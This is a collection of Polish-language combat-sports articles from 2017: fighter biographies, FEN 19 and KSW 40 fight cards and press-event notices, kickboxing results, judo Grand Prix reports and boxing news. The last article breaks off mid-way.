  • Amatorskie Mistrzostwo Polski w K-1 oraz Low Kick 2013
  • Brązowy medal Mistrzostw Europy Low-Kick, Ankara 2012
  • Amatorskie młodzieżowe Mistrzostwo Polski, 2012,2013

Paweł Biszczak

Polski Karateka stylu Kyokushin i zawodnik Kickboxingu w formule K-1 urodzony 10 grudnia 1985 roku w Legnicy. Karate Kyokushin zaczął trenować w wieku 10 lat. Były członek kadry narodowej karate oraz wielokrotny Mistrz Polski i Europy Karate Kyokushin (formuła knockdown karate).Obecnie jest członkiem narodowej reprezentacji Polski w Kickboxingu, w którym zdobył tytuły mistrza Polski i Europy. Walczy zawodowo w organizacji Fight Exclusive Night, której jest mistrzem.

 

Osiągnięcia sportowe:

  • Mistrz FEN w wadze półśredniej, od 2017
  • Zawodowy Mistrz Polski w Kickboxingu K1, Zgorzelec 2014
  • Mistrz Europy kickboxingu w formule K1, Lizbona 2012
  • I miejsce Grand Prix Russia Open K1, Niżny Nowogród, 2012
  • I miejsce w gali K1 Grand Prix, Kalininingrad 2011
  • Mistrz Europy kickboxingu w formule K1, Świebodzice 2011
  • Zawodowy Mistrz Polski Kickboxing Low-Kick 2007 ISKA
  • I miejsce w Mistrzostwach Europy Karate Open – Gorzów 2011
  • I miejsce w Mistrzostwach Polski Karate Open – Legnica 2011
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Mielno 2011
  • I miejsce w Mistrzostwach Ukrainy Zachodniej – Drohobycz 2010, 2011
  • I miejsce w Mistrzostwach Polski Karate Open – Świnoujście 2010
  • III miejsce w Mistrzostwach Europy Karate (wagowych) – Bukareszt 2010
  • I miejsce w Mistrzostwach Polski Karate Open – Lublin 2009
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Sieradz 2009
  • I miejsce w Otwartych Mistrzostwach Holandii – Papendrecht 2009
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Włocławek 2004
  • I miejsce w Otwartych Mistrzostwach Niemiec – Frankfurt 2004
  • Międzynarodowy Zawodowy Mistrz Polski Muay Thai 2012 WKN
  • 2 x Międzynarodowy Zawodowy Mistrz Polski Muay Thai 2009/2011 WPMF
  • Mistrz Europy Muay Thai 2007 WMF
  • 7 x Mistrz Polski -Muay Thai, Kickboxing Low Kick.

Rafał Dudek

Polski zawodnik Kickboxingu oraz Muay Thai urodzony 4 marca 1984 roku w Nowym Sączu. Amatorski i zawodowy Mistrz Polski w K-1, brązowy medalista Mistrzostw Europy WAKO European Championships z 2012 w Ankarze. Jest także zdobywcą tytułu Intercontinental Low Kick Super Welter Weight Champion, który zdobył dzięki walce w Trynidadzie i Tobago. Był zawodnikiem klasyfikowanym w rankingach prestiżowej organizacji Glory World Series. W swojej karierze stoczył blisko 120 walk amatorskich, z czego wygrał 94. Jako zawodowiec do swoich pojedynków przygotowuje się w holenderskim klubie Mike’s Gym. Na zawodowym ringu wystąpił 23 razy, z czego 15 razy wychodził z walk jako zwycięzca. W 2015 roku wziął udział w prestiżowej gali Shoot Boxing 30th Anniversary w Tokio gdzie przegrał na punkty z zawodnikiem gospodarzy, dwukrotnym Mistrzem Świata – Hioroyaki Suzuki. Jego trenerami byli Andrzej Śliwa oraz później Tomasz Mamulski (trener Reprezentacji Polski w K-1).

FEN 19 Bitwa o Wrocław official trailer

Już 14 października 2017 federacja Fight Exclusive Night po raz siódmy zawita do Wrocławia. FEN19 „Bitwa od Wrocław” odbędzie się w Hali Orbita, a zobaczymy w niej aż 10 pojedynków – 6 w formule MMA i 4 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże.

Włodarze federacji FEN zapewniają, że przygotowali piekielnie mocną kartę walk, jednak na tą chwilę zdradzają tylko dwa zestawienia. Jednym z nich będzie pierwszy w historii FEN „Freak Fight” – w formule MMA i w kategorii do 77kg zmierzą się „Arab” i „Ruby. Gabriel Al-Sulwi, czyli „Arab”, to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło pokonać problem z narkotykami i znaleźć nowy cel w życiu. Z kolei Bartłomiej Brzeziński, czyli „Ruby”, znany jest przede wszystkim jako raper „Ganja Mafia”, lecz od dłuższego czasu równie intensywnie trenuje sporty walki.

Innym ciekawym pojedynkiem, jaki zobaczą kibice w Hali Orbita, będzie starcie pomiędzy Pawłem Biszczakiem (24-3) z Igorem Danisem . Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

[kod]

Tomasz Sarara

Polski Kickbokser oraz bokser wagi ciężkiej urodzony 31 maja 1985 roku w Krakowie. Zwycięzca bokserskiego turnieju Bigger's Better z 2013. W latach 2015-2017 zawodnik Fight Exclusive Night gdzie od 2016 został mistrzem w wadze półciężkiej. Aktualnie związany z Spartan Fight. Wieloletnim trenerem Sarary jest czterokrotny zwycięzca K-1 World GP Ernesto Hoost. W 2008 na Mistrzostwach Europy WAKO w Porto, zajął drugie miejsce w kat. +91 kg, przegrywając w finale z Białorusinem Alaksiejem Kudzinem. 18 lipca 2008 został zawodowym mistrzem Polski w kat. +91 kg, wygrywając z Danielem Omielańczukiem na punkty. 10 maja 2009 na gali Angels of Fire V, pokonał przez techniczny nokaut w 1. rundzie Kamila Sokołowskiego, zostając mistrzem Polskiego Związku Kick-boxerskiego (PZKB) w kat. 95 kg. 28 marca 2010 zadebiutował w turnieju K-1, który miał miejsce w Warszawie. Sarara doszedł ostatecznie do finału, przegrywając w nim przez nokaut z Estończykiem Daniilem Sapljoszynem. Wcześniej Polak pokonywał w ćwierćfinale Białorusina Ihara Buhajenke i w półfinale z Ukraińca Dmitrija Bezusa. W latach 2010-2012 zostawał m.in. mistrzem Polski w formule low kick, mistrzem Baltic Martial Arts Federation (BMAF) w wadze ciężkiej oraz dochodził do finału rosyjskiego turnieju Tatneft Arena, podczas którego wygrywał m.in. z Saulo Cavalarim. W 2014 ponownie został mistrzem Polski w low kicku. Od 2015 jest związany z Fight Exclusive Night gdzie jak dotąd jest niepokonany oraz dzierży od 15 października 2016 pas mistrzowski w kat. 95 kg. 6 października 2017 został mistrzem polsko-irlandzkiej organizacji Celtic Gladiator pokonując przed czasem Luciano Zampieriego. W latach 2010-2013 startował w turniejach bokserskich Bigger's Better. 4 listopada 2011 został finalistą zawodów, przegrywając w decydującym starciu z Francuzem Nicolasen Wambą na punkty, natomiast 24 maja 2013, wygrał 22 edycję turnieju, pokonując w finałowym pojedynku Słowaka Tomasa Moznego. 24 września 2016 zawodowo zadebiutował w boksie, nokautując Łukasza Zygmunta w 2. rundzie.

Osiągnięcia sportowe:

  • Sześciokrotny amatorski mistrz Polski
  • 2008: Mistrzostwa Europy WAKO – 2. miejsce w kat. +91 kg
  • 2008: mistrz Polski K-1 w kat. +91 kg
  • 2009: mistrz PZKB w kat. 95 kg
  • 2010: K-1 WGP 2010 Warszawa – 2. miejsce
  • 2010: mistrz Polski w formule low kick w kat. +91 kg
  • 2012: mistrz BMAF w kat. 95 kg
  • 2012: Tatneft Arena – 2. miejsce
  • 2014: mistrz Polski w formule low kick w kat. +91 kg
  • 2014: Mistrzostwa Polski w K-1 – 3. miejsce w kat. +91 kg
  • 2016: mistrz FEN w kat. -95 kg
  • 2017: mistrz Celtic Gladiator w kat. -95 kg
  • 2011: Bigger's Better 8 – 2. miejsce
  • 2013: Bigger's Better 22 – 1. miejsce

Spróbuje sił w boksie

Tomasz Drwal niczym Conor McGregor? Dlaczego nie! Polski fighter spróbuje swoich sił w boksie już 4 listopada. Rywalem Drwala będzie Vasil Ducar.

Kibice długo musieli czekać na powrót Tomasza Drwala. 35-latek zaprezentuje się w Krakowie, jednak tym razem nie w walce na zasadach MMA. Drwal postanowił posmakować boksu.

Nowe wyzwanie

Kto nie lubi podejmować wyzwań i sprawdzać się na różnych polach? Dla wielu stanowi to mobilizację, a zarazem podstawę do udowodnienia sobie własnych możliwości oraz wartości. Czasami po prostu chcemy czegoś spróbować. Motywacje mogą być różne. W ostatnim czasie w świecie sportów walki przyzwyczailiśmy się, że większość zawodników emigruje do MMA. A w odwrotnym kierunku? Przykład dał jednak Conor McGregor, który postanowił spróbować boksu i ściągnął z emerytury Floyda Mayweathera Jr. Nie da się ukryć, że w tym wypadku kluczowe znaczenie odgrywały pieniądze. 

W rywalizacji bokserskiej kibice będą mogli zobaczyć również Tomasza Drwala. Popularny „Gorilla” był pierwszym Polakiem zakontraktowanym przez UFC. W amerykańskiej organizacji stoczył sześć walk, z których trzy wygrał. 35-latek pokonał Ivana Seratiego, Mike'a Ciesnolevicza i Drewa McFedriesa. Na koniec przygody z UFC Drwal przegrał z Davidem Branchem. Zawodnik z Krakowa przyzwyczaił kibiców do efektywnego stylu, bo aż 12 z 21 zwycięstw odniósł przez nokaut. Ostatni raz walczył  w maju 2015 roku, kiedy to na gali KSW 31 przegrał z Michałem Materlą.

W końcu Tomasz Drwal wraca, ale zarazem będzie to jego debiut. Tym razem Polak będzie rywalizował w boksie. – Trochę się naczekałem na kolejną walkę, ale lepiej późno niż później. Zapraszam 4 listopada na Wieczór Walk R8 do Krakowa. Sam jestem ciekaw jak to będzie w boksie. Zapowiada się fajne wyzwanie. Twardy rywal, który z pewnością pójdzie na mocne wymiany. I dobrze. Będą ludzie mieli co oglądać – napisał na swoim Facebooku Tomasz Drwal.

Rywalem Polaka będzie Vasil Ducar. 27-Czech ma za sobą cztery walki bokserskie, wszystkie wygrał przed czasem.

Wieczór pełen walk

4 listopada w Małej Hali Tauron Arenie Kraków odbędzie się 15 walk, w tym pięć zawodowych i dziesięć półzawodowych. Dla wielu zawodników będzie to szczególne doświadczenie.

Wśród fighterów, którzy zaprezentują się w Krakowie są m.in. Sebastian Kotwica i Michał Bobrowski. 25-letni zawodnik Szkoły Walki Drwala wygrał sześć pojedynków z rzędu. Z kolei 22-letnik Bobrowski ma na swoim koncie sześć wygranych walk, w tym pięć przed czasem.

Fot. Tomasz Drwal Facebook

KM

Łukasz Pławecki

Polski zawodnik Kickboxingu i Muay Thai urodzony 25 stycznia 1987 roku w Nowym Sączu. Jest 8-krotnym Mistrzem Polski, zdobywcą Pucharu Świata w K-1, posiada 3 pasy Zawodowego Mistrza Polski. W latach 2005-2014 reprezentował Polskę jako członek kadry narodowej. W 2013 roku, za osiągnięcia zawodowe i trenerskie, został odznaczony przez Ministra Sportu. 16 kwietnia 2015 roku Pławecki odebrał z rąk Marszałka Województwa Małopolskiego nagrodę „Małopolski Laur Sportu”. Stoczył 126 walk amatorskich i 31 zawodowych.

Osiągnięcia sportowe:

  • 2016 Mistrz Świata WKN w Kickboxingu
  • 2014 Międzynarodowe Zawodowe Mistrzostwo Polski Kickboxing Low Kick
  • 2013 Zawodowy Mistrz Polski w Kickboxingu Low Kick
  • 2013 Międzynarodowe Zawodowe Mistrzostwo Polski K-1

2011-2013

  • Międzynarodowe Mistrzostwo Polski K-1, tytuł Najlepszego Zawodnika Turnieju
  • Vice Mistrzostwo Polski Low Kick Seniorów
  • Trzy tytuły Mistrza Polski Low Kick

2009

  • II miejsce Puchar Świata K-1, Szeged

2008

  • 3 miejsce Młodzieżowe Mistrzostwa Polski Low-Kick
  • 3 miejsce Mistrzostwa Polski K1

2007

  • Vice Mistrzostwo Polski Seniorów w Low-Kicku

2006

  • 3 miejsce Puchar Świata Szeged Węgry, w formule Low-Kick
  • Mistrz Polski Młodzieżowców w formule Low-Kick
  • Vice-Mistrz Polski w formule Low-Kick
  • Vice-Mistrz Polski w formule Full-Contact

2005

  • Mistrz Polski Juniorów w formule Low-Kick
  • Mistrz Polski Juniorów w formule Full-Contact
  • 3 miejsce Mistrzostwa Polski w formule Low-Kick
  • 3 miejsce Mistrzostwa Polski w formule Full-Contact

2004

  • Vice-Mistrz Polski Południowej Juniorów w formule Full-Contact
  • Vice-Mistrz Polski Juniorów w formule Full-Contact

Piaseczno Fight Night VI "Masters Fight Series 1" – wyniki

MASTERS FIGHT SERIES I – Piaseczno, 07.10.2017

Wyniki Walk:

1. K1 71 kg Łukasz Jabłoński pokonał Pawła Józefowicza przez decyzję (2:1)
2. K-1 86 kg Paweł Gierzyński pokonał Mateusza Żukowsiego przez decyzję (3:0)
3. K-1 81 kg Edgaras Banikonis pokonał Kamila Połosaka przez decyzję (2:1)
4. K-1 67 kg Kamil Rościński pokonał Bartłomieja Salaka KO r. 3

 

Walki o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:

5. K1 60 kg Joanna Różańska pokonała Weronikę Drobiasko przez decyzję (3:0)
6. K-1 75 kg Roger Garbaczewski pokonał Zygimantasa Kulikauskasa przez decyzję (3:0)

 

Extra Fight:

7. K-1 56 kg Dorota Godzina pokonała Anetę Kopeć przez decyzję (3:0)

 

Walki wieczoru:

8. F-C 67 kg Eliasz Jankowski pokonał Kamila Dychałę przez decyzję (3:0)

 

Walka o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:

9. F-C 81 kg Łukasz Wichowski pokonał Evgeniego Matiuszonoka przez decyzję (3:0)

Tony Ferguson

Amerykański zawodnik MMA urodzony 12 lutego 1984 roku w Oxnard. Ferguson jest zwycięzcą 13 sezonu reality show The Ultimate Fighter w wadze półśredniej z 2011 oraz tymczasowym mistrzem Ultimate Fighting Championship w wadze lekkiej z 2017. W MMA zadebiutował 12 kwietnia 2008 wygrywając z Stevem Avalosem. Do końca roku wygrał dwa kolejne pojedynki, w tym jeden z utytułowanym thai-boxerem Joe Schillingiem przez poddanie. 25 października 2010 zdobył pas mistrza PureCombat w wadze półśredniej po pokonaniu Brocka Jardine przez techniczny nokaut. Uzyskawszy od debiutu rekord 10 zwycięstw i 2 porażek w 2011 wziął udział w programie The Ultimate Fighter gdzie znalazł się w drużynie prowadzonej przez Brocka Lesnara. Ostatecznie Ferguson wygrał program w kat. półśredniej (do 77 kg) pokonując w finale 4 czerwca 2011 Ramseya Nijema przez KO w pierwszej rundzie i otrzymując w nagrodę kontrakt z UFC. 24 września 2011 na UFC 135 pokonał Aarona Rileya przez TKO w pierwszej rundzie, natomiast 3 grudnia tego samego roku wypunktował Bahamczyka Yvesa Edwardsa. 5 maja 2012 przegrał z Michaelem Johnsonem jednogłośnie na punkty, notując pierwszą porażkę w UFC. 19 października 2013 poddał duszeniem Mike Rio. Wygrana nad Rio zapoczątkowała passę dziewięciu zwycięstw z rzędu Fergusona w organizacji. Od października 2013 pokonywał m.in. Gleisona Tibau, Josha Thomsona, Edsona Barbozę czy Rafaela dos Anjosa. W tym czasie był również dwukrotnie zestawiany z Chabibem Nurmagomiedowem, w tym raz o tymczasowe mistrzostwo UFC wagi lekkiej (marzec 2017) jednak do obu walk nie doszło z powodu problemów zdrowotnych Rosjanina. Zamiast tego o tymczasowe mistrzostwo zmierzył się 7 października 2017 z Kevinem Lee którego ostatecznie pokonał przez poddanie w trzeciej rundzie i zdobył pas.

Konferencja, Media Trening oraz FACE-TO-FACE przed FEN19!

Od czwartku, 12 października, Wrocław zostanie opanowany przez Fight Exclusive Night. 19. edycja gali, którą dumnie nazwano „Bitwa o Wrocław” odbędzie się już 14 października w Hali Orbita. Zanim jednak do tego dojdzie, został zaplanowany szereg wydarzeń poprzedzający pojedynki najlepszych polskich zawodników i zawodniczek w MMA i K-1.

W czwartek, 12 października,  o godzinie 13:00 na Stadionie Wrocław (Al. Śląska 1) w sali konferencyjnej odbędzie się konferencja prasowa z udziałem czołowych zawodników, których będzie można podziwiać  w Hali Orbita. Głos zabiorą Róża Gumienna, Marta Waliczek, Barbara Nalepka, Gabriel Al-Sulwi „Arab”, Bartłomiej „Ruby” Brzeziński, Arkadiusz Wrzosek, Michał Michalski, Paweł Biszczak i Paweł Brandys.

Ci sami zawodnicy tuż po zakończeniu konferencji prasowej wezmą udział w media treningu. Jego start zaplanowano na godzinę 14:00, a odbędzie się on w siłowni FUNFIT II,  na Stadionie Wrocław (Al. Śląska 1).

W piątek z kolei, 13 października, o godzinie 16:00 w Hali Orbita zaplanowana jest oficjalna ceremonia ważenia, podczas której stawią się już wszyscy bohaterowie gali. Będzie to również okazja do zobaczenia zawodników w charakterystycznej pozycji „Face to Face”. Po ważeniu fighterzy będą do dyspozycji dziennikarzy i udzielą wywiadów.

Zarówno czwartkowe jak i piątkowe wydarzenia będą otwarte dla kibiców.

WAŻNE!

Dziennikarze mogą ubiegać się o akredytacje prasowe na te wydarzenie. Wnioski składać można TYLKO drogą mailową i NIE OBOWIĄZUJE już system Accredito.

Akredytacje udzielane są na podstawie zgłoszenia mailowego na adres mail: j.borowicz@fen-mma.com. Prosimy o zawarcie takich informacji, jak imię i nazwisko osoby akredytowanej, nazwa redakcji, numer PESEL, numer telefonu oraz adres mailowy.

Wnioski akredytacyjne należy składać do 12 października 2017 roku.

Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:

77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby”Brzeziński – Gabriel Al.-Sulwi „Arab”
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
56 kg MMA – Magdalena Rak VS Barbara Nalepka
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas

Pacut sięgnęła po srebro w Taszkiencie

Polska zakończyła rywalizację  w Grand Prix w Taszkiencie z trzema medalami. Do Anny Borowskiej (57kg) i Agaty Perenc (52kg) dołączyła Beata Pacut (78kg), która zdobyła srebrny krążek.

Biało-czerwoni mogą być zadowoleni ze swojego występu. Złoto, dwa srebra oraz jedno piąte miejsce dały Polsce czwarte miejsce w klasyfikacji końcowej.

Ponownie druga

Ponad rok temu Beata Pacut zapisała na swoim koncie pierwsze zwycięstwo w międzynarodowym turnieju na poziomie seniorskim. Judoczka Czarnych Bytom triumfowała w Pucharze Świata w Warszawie. W finale Polka pokonała Karen Stevenson, wcześniej wygrała trzy walki. Triumf na własnej ziemi to szczególne wydarzenie w życiu każdego sportowca. W kolejnych startach Pacut prezentowała się dobrą dyspozycję i często znajdowała się w stawce rywalizujących o miejsce w czołówce.

W tym roku 21-latka znalazła się na podium w Pradze i w Mińsku. Samanta Soares i Marhinde Verkerk to zawodniczki, które stanęły na drodze naszej reprezentantki do triumfu. W Taszkiencie scenariusz układał się idealnie dla Beaty Pacut. Na początek Polka uporała się z Rosjanką Aleksandrą Babintsevą, później trafiła na 28-letnią Albinę Amangeldiyevą. Reprezentantka Kazachstanu atakowała, ale nieczysto i przegrała z Pacut. W półfinale 21-letnia Polka pokonała Bernadette Graf, która w tym roku wygrała zmagania w Bukareszcie i Hohhot. Do wykonania pozostał tylko jeden krok. Ale kolejny turniej Polka zakończyła ze srebrnym medalem. W finale Beata Pacut przegrała przez waza ari z siódmą zawodniczką tegorocznych mistrzostw świata Ukrainką Anastasiyą Turchyn.

„Najcięższe” złota

W kategorii +78kg triumfowała brązowa medalistka olimpijska z Rio de Janeiro Anamari Velensek. Reprezentantka Słowenii wygrała finałowy bój z Gulzhan Issanovą. Wicemistrz Afryki najlepszy w zmaganiach w kategorii do 100kg. Ramadan Darwish z Egiptu wygrał trzy walki, w decydującej pokonał Rosjanina Niyaza Ilyasova. 27-letni Or Sasson (+100kg) sięgnął po złoto odprawiając kolejnych rywali. W decydującym starciu reprezentant Izraela okazał się lepszy od Iuria Krakovetskiego.

Izrael najlepszy

W zawodach Grand Prix w Taszkiencie zaprezentowało się 181 zawodników, w tym 91 pań i 90 panów. Tylko w kategorii +78kg startowało mniej niż dziesięciu zawodników (dokładnie 9).

Triumf w klasyfikacji medalowej zanotował Izrael. Reprezentanci państwa położonego na wschodnim brzegu Morza Śródziemnego zdobyli pięć medali, w tym trzy złote (najwięcej) i po jednym srebrnym i brązowym. Najlepsi w swoich kategoriach okazali się: Sagi Muki (81kg), Or Sasson (+100kg) i Betina Temelkvoa (52kg), która w finale wygrała z Agatą Perenc. Drugie miejsce w klasyfikacji medalowej dla Uzbekistanu (12 krążków – 1, 2, 9), z kolei trzeci byli reprezentanci Mongolii (4 krążki – 1, 2, 1).

fot. PZJudo

KM

Trzecie zwycięstwo Borowskiej

Anna Borowska (57kg) triumfowała w Grand Prix w Taszkiencie. To trzecie tegoroczne zwycięstwo naszej judoczki. O krok od triumfu była Agata Perenc (52kg), która w tym finale przegrała z Betiną Temelkovą z Izraela.

Siedem to liczba symbolizująca całość, dopełnienie, oznacza również pełnię i doskonałość. Właśnie tylu naszych judoków pojechało do Taszkientu. Biało-czerwoni mieli dobre otwarcie turnieju za sprawą wywalczenia dwóch medali.

Smak złota

Anna Borowska z roku na rok prezentuje się coraz lepiej. Zawodniczka Kejza Team Rybnik w tym sezonie czterokrotnie stanęła już na podium międzynarodowych zawodów, w tym trzy razy na najwyższym jego stopniu. Rok temu taka sytuacja miała miejsce trzykrotnie (jedno zwycięstwo).

Starty w 2017 roku Borowska rozpoczęła od występu w Pucharze Świata w Pradze. Reprezentantka Polski stoczyła pięć zwycięskich walk. W decydującej okazała się lepsza od Holenderki Margriety Bergstry. Potem był Puchar Świata w Casablance, gdzie Borowska postanowiła pójść za ciosem. Zawodniczka wygrała cztery walki, a w finale uporała się Sarą Harachi. Na podium Polka stanęła jeszcze w Pucharze Europy w Mińsku, była trzecia. A potem były mistrzostwa świata w Budapeszcie, gdzie Borowska przegrała w walce eliminacyjnej z Marti Malloy. W Taszkiencie 23-latka udowodniła, że wcześniejsze dobre starty nie były dziełem przypadku. Borowska wygrała cztery pojedynki. W finale pokonał siódmą zawodniczkę tegorocznych mistrzostw świata Timnę Nelson Levy.

Agata Perenc (52kg) po raz trzeci w tym roku stanęła na podium w międzynarodowych zawodach. 27-latka zapisała na swoim koncie triumf w Pucharze Europy w Bukareszcie i zajęła trzecie miejsce w Pucharze Europy w Mińsku. W Taszkiencie Perenc szła jak burza. Wygrała trzy walki niezwykle szybko i efektownie. Polka rozłożyła na łopatki Ki Shuk Tsui, Aigunim Tuitekovą i Ariel Bezalel. W finale Perenc musiała uznać wyższość Betiny Temelkovej. 20-letnia reprezentantka Izraela to tegoroczna wicemistrzyni Europy juniorek.

Kolejny medal o krok

Karolina Pieńkowska (52kg) walczyła dzielnie, ale nie udało jej się powtórzyć wrześniowego sukcesu z Bratysławy i sięgnąć po brązowy medal. Rywalizację w Taszkiencie rozpoczęła od zdecydowanego zwycięstwa z Oysuluv Abdumajidovej. Później musiała sprostać agresywnie walczącej Tsolmon Adiyasambuu. W półfinale Pieńkowska przegrała z późniejszą triumfatorką Temelkovą. Polce pozostała walka o brąz, jednak z doświadczoną Petrą Nareks, która ostatnio na podium stała ponad dwa lata temu.

Jakub Kubieniec (81kg) wygrał jedną walkę. Po porażce z Faganem Guluzadą trafił do repasaży, gdzie sobie nie poradził. Ostatecznie Polak został sklasyfikowany na siódmym miejscu. 

Szybko z rywalizacją pożegnali się Karolina Tałachh (63kg) i Damian Stępień (81kg). W Taszkiencie zaprezentuje się jeszcze Beata Pacut (78kg).

Fot. IJF/PZJudo

KM

Ćwierćfinały na półmetku

Cztery pojedynki World Boxing Super Series za nami, a jeszcze cztery przed nami. Już 7 października w Stuttgarcie starcie w wadze super średniej pomiędzy Chrisem Eubankiem Jr. a Avnim Yildrim.

Tydzień po tygodniu odsłaniane są kolejne karty w rywalizacji o miano najlepszego boksera w kategorii junior ciężkiej i super średniej. 

Pierwsza para półfinałowa zmiana

Oleksandr Usyk oraz Mairis Briedis mogą już dokładnie analizować swoje słabe strony i szykować się do walki. To właśnie Ukrainiec i Łotysz stworzą pierwszą parę półfinałową turnieju WBSS w kategorii junior ciężkiej. Tydzień temu w Rydze Breidis pierwszy raz stanął do obrony mistrzowskiego pasa WBC. 32-latek spotkał się z Mike'm Perezem, który wrócił na ring po dłuższej przerwie i zamienił wagę ciężką na junior ciężką. W debiucie pokonał Viktora Biscaka, ale w Rydze stanął przed trudnym zadaniem. Walka nie należała do tych z najwyższej półki, ale Łotysz wyprowadzał więcej ciosów. Podczas pojedynku nie brakowało gorących momentów w postaci… pyskówek z sędzią. Breidis wygrał jednogłośnie na punkty – 116:110, 115:111 i 114:112.

Ale w półfinale WBSS mistrz świata WBC nie będzie miał łatwego zadania. Łotysz spotka się z czempionem WBO Oleksandrem Usykiem, który uchodzi za zdecydowanego faworyta turnieju. Ukrainiec otworzył WBSS w fenomenalny sposób. Usyk znokautował w dziesiątej rundzie Marco Hucka, czym potwierdził fantastyczną formę. 30-latek wygrał 11 (na 13) w karierze przed czasem.

Na półfinałowego rywala czeka również Yunier Dorticos, który w ćwierćfinale już w drugiej rundzie znokautował Rosjanina Dmitrija Kudriaszowa potężnym prawym prostym. Przeciwnikiem Kubańczyka będzie zwycięzca rywalizacji pomiędzy Muratem Gassijewem a Krzysztofem Włodarczykiem. Pojedynek odbędzie się 21 października.

Druga odsłona

7 października w Stuttgarcie dojdzie dopiero do drugiego starcia ćwierćfinałowego w wadze super średniej. Wcześniej rywalizowali jedynie Callum Smith i Erik Skoglund. Lepszy okazał się Brytyjczyk, który w Liverpoolu wygrał na punkty.

Za faworyta najbliższego starcia uchodzi Chris Eubank jr. Mistrz federacji IBO typowany jest do końcowego triumfu, a do turnieju WBSS zakwalifikował się dzięki wygranej w starciu z Arthurem Abrahamem. 28-letni Eubank jr. będzie musiał się mieć na czujności, bo Avni Yildirim jeszcze nigdy nie przegrał. Brytyjczyk jest pewny swego. – Jestem przyszłością boksu. W sobotę pokonam Yildirima nazywanego tureckim Rambo – zapewnia Eubank Jr.

Kolejny ćwierćfinał WBSS odbędzie się 14 października. Na Wembley Arenie czempion WBA George Groves zmierzy się niepokonanym Jamie'm Coxem. Ćwierćfinałową rywalizację zamknie starcie doświadczonego Jurgena Brahmera z Robem Brantem, które zaplanowano na 27 października.

Fot. pixabay

KM

Dublin zostanie przyćmiony?

Praktycznie wszystko jest już gotowe. Gala KSW 40 w Dublinie już 22 października, karta walk niemalże wypełniona. Jednak w ostatnich dniach na ustach wszystkich znalazła się walka Pawła „Popka” Raka z Tomaszem „Strachem” Oświecińskim. Czy gala KSW 40 nie znajdzie się w cieniu planowanego pojedynku celebrytów?

KSW 40 ma być kolejnym wielkim wydarzeniem polskiej organizacji. Było Wembley, potem PGE Narodowy, a teraz wojownicy zaprezentują się na 3Arena w Dublinie.

Twarzą w twarz

Na początku września do kibiców MMA dotarła informacja o podpisaniu umowy z KSW przez aktora Tomasz Oświecińskiego. 44-latek popularność zyskał dzięki roli „Stracha” w filmach „Pitbull”. Dał się poznać publiczności jako „kawał chłopa”, który ma „parę w łapie” i „pakuje na siłce”. To filmowy obraz, ale 44-latek długo pracował., żeby mieć odpowiednią posturę. Oświeciński to trener personalny, który również potrafi przyłożyć. Doświadczenie zbierał… w walkach ulicznych. Tomasz Oświeciński ma barwny życiorys, a teraz będzie miał okazję dopisać do niego kolejny rozdział.

Natychmiast ruszyły spekulacje, kto będzie pierwszym rywalem „Stracha”. KSW postanowiło odsłonić karty. Oświeciński zmierzy się z Pawłem „Popkiem” Rakiem. Kiedy? Tego jeszcze nie wiadomo, choć prawdopodobnym terminem jest planowana na grudzień gala KSW 41. Organizacja postanowiła budować napięcie wokół walki celebrytów, którzy pojawią się w Dublinie. W stolicy Irlandii „Strachu” i „Popek” staną twarzą w twarz.

Dla popularnego rapera starcie z aktorem będzie trzecim pojedynkiem w KSW. Ostatnio „Popek” pokonał Roberta Burneikę, wcześniej zaś przegrał z Mariuszem Pudzianowskim. Oświeciński wytrwale szykuje się do debiutu w KSW. „Popek” i „Strachu” mają razem 82 lata, więc ich starcie będzie spotkaniem podstarzałych lisów. Nikt nie odmawia im werwy ani umiejętności stworzenia widowiska, jednak na poziomie sportowym można mieć zastrzeżenia.

Co istotne, KSW wypuściło w świat informację o walce celebrytów na ostatniej prostej przed galą w Dublinie. Czy to dobrze? Zapewne kibice dopiszą i będą śledzić galę, ale teraz wszyscy z zapartym tchem czekają na termin walki „Popka” i „Stracha”. Choć jeszcze nie weszli do oktagonu, już skradli show. W Dublinie wszyscy będą czekali na „face to face” Raka i Oświecińskiego. A to nie oni będą najważniejsi w kontekście gali KSW 40.

Coraz mniej niewiadomych

W Dublinie zaprezentuje się Łukasz Chlewicki, który w starciu wagi lekkiej zmierzy się z Paulem Redmondem. 38-letni „Sasza” przegrał przed czasem dwie ostatnie walki w KSW. Irlandczyk ostatnio pokonał Roba Sinclaira na BAMMA 30. Dotychczas 30-latek wygrał 12 z 19 walk.

Z kolei Ariane Lipski pasa KSW w wadze muszej będzie broniła w starciu z Marianie Morais. W Dublinie zaprezentuje się Michał Fijałka. 33-latek zmierzy się z doświadczonym Chrisem Fieldsem.

Kolejny raz Norman Park postara się odebrać pas wagi lekkiej Mateuszowi Gamrotowi. W walce wieczoru wystąpią Mariusz Pudzianowski i James McSweeney.

Fot. KSW

KM

Ortiz wszystko skomplikował

„A miało być tak pięknie”. Jesień fanom boksu miała umilić rywalizacja niepokonanych pięściarzy kategorii królewskiej Deontaya Wildera i Luisa Ortiza. Pozytywny wynik badań antydopingowych Kubańczyka przekreślił te plany.

Wokół pojedynku było niezwykle gorąco. Blisko dwa tygodnie temu mistrz WBC Deontay Wilder apelował do Ortiza, aby ten nie brał dopingu. Przewidział wydarzenia… Co teraz?

Kolejny grzech Ortiza

